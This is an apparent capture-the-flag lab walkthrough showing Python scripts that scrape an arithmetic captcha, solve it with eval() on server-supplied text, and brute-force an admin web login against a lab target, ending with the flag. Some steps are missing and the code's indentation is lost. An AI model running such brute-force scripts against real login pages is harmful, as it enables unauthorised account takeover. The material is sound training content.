Walkthrough 2172
Walkthrough 2172
URL https://www.attackdefense.com/challengedetails?cid=2172
Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.
The IP address of the attacker machine is 192.133.218.2. The IP address of the target machine
will be 192.133.218.3
1. username
2. password
3. captcha
The captcha is generated between the tag: <h5 style="text-align: center;margin-top: 4px"> and
</h5>
Step 4: Write a python script to fetch the captcha and the cookie from the webpage.
import re
import requests
session = requests.Session()
regex = '<h5 style="text-align: center;margin-top: 4px">(.*?) = </h5>'
response = session.get('http://192.133.218.3')
output = re.search(regex, response.text)
print(session.cookies.get_dict())
print output.group(1)
The password character set is also revealed in the error message. The password has length 5
and consists of character a,x,4,M and ].
import re
import requests
session = requests.Session()
regex = '<h5 style="text-align: center;margin-top: 4px">(.*?) = </h5>'
with open('passwords.txt','r') as f:
for password in f:
password = password.rstrip()
response = session.get('http://192.133.218.3')
output = re.search(regex, response.text)
cookies=session.cookies.get_dict()
captcha=eval(output.group(1))
print("Trying Password: "+password)
data={"username":"admin","password":password,"captcha":captcha}
output=session.post('http://192.133.218.3/login', cookies=cookies,data=data)
if("Error" not in output.text):
print("Password Found: "+password)
break
Step 9: Execute the python script.
Step 10: Login to the web application and retrieve the flag.
The flag is ZX7HJKE34PL4323.